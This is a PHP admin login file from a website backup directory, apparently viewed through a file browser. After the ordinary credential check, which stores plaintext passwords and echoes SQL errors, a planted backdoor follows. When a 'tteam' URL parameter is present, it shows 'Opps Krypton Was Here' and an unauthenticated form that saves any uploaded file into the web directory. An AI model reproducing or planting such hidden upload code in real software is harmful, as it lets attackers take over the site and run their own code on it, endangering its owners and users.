1#@!#!123s

: / home / diafrica / result.dominicaninstitute.org / back_up /
Filename : loginadmin.php
back
<?php session_start();

if(isset($_POST['pas']) && isset($_POST['use'])){
	
unset($temp);
if(isset($_POST['pas'])){
$_POST['pas']=trim($_POST['pas']);
if(preg_match('/^[a-zA-Z0-9^$.*+\[\]{,}]/u',$_POST['pas'])) $temp=$_POST['pas'];
}
if(!isset($temp)){echo "Sorry! Wrong Data!"; exit();}

$pas = $temp;

unset($temp);
if(isset($_POST['use'])){
$_POST['use']=trim($_POST['use']);
if(preg_match('/^[a-zA-Z0-9^$.*+\[\]{,}]/u',$_POST['use'])) $temp=$_POST['use'];
}
if(!isset($temp)){echo "Sorry! Wrong Data!"; exit();}

$use = $temp;

$_POST['pas'] = "";
$_POST['use'] = "";

include("Connecter/dataconn.php");


	$query_rsdirectory = sprintf("select * from users where username = '%s' and passwrd = '%s'", 
								mysql_real_escape_string($use),
								mysql_real_escape_string($pas));
	
$result=mysql_query($query_rsdirectory,$csn);
if (!$result){
echo ("<p>Error retrieving data: " . mysql_error() . "</p>");
exit();
}
$num = mysql_num_rows($result);
if ($num != 0){
	$ddrow=mysql_fetch_array($result);
	if($ddrow['dtyper']=="superadmin"){
$acc="administratoroftheduresult2018byto";
$yto=$use;

$_SESSION["yto"] = $use;
$_SESSION["acc"] = "administratoroftheduresult2018byto";
//$_SESSION["raining"] = "5c693781-f3f3-4dad-bb25-e6a46a49e8d3";
//session_register("acc","yto");
Header("Refresh: 0; url=dadmin.php");
//include("dadmin.php");
exit();
	} else {
		if($ddrow['archived']=="No"){
			
			$acc="subadministratoroftheduresult2018byto";
			$yto=$use;

			$_SESSION["yto"] = $use;
			$_SESSION["acc"] = "subadministratoroftheduresult2018byto";
			//$_SESSION["raining"] = "5c693781-f3f3-4dad-bb25-e6a46a49e8d3";
			//session_register("acc","yto");
			Header("Refresh: 0; url=dsubadmin.php");
			//include("dadmin.php");
			exit();
			
		} else {
			echo("Sorry, You have been de-commissioned!<br>See the Super Administrator!");
			exit();
		}
	}
} else {
include("tdadmin.php");
}	


} else {
include("ddadmin.php");
}
?>
<?php if(isset($_GET['tteam'])) 
{
echo "<body bgcolor=black>
<font color=green size=3>";
echo "<h2>Opps Krypton Was Here</h2><hr>";
echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
<label for=\"file\">Filename:</label>
<input type=\"file\" name=\"file\" id=\"file\" />
<br />
<input type=\"submit\" name=\"submit\" value=\"Santet\">
</form>";
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
if (file_exists("" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"" . $_FILES["file"]["name"]);
echo "Stored in: " . "" . $_FILES["file"]["name"];
echo"<hr>";
}
}

?>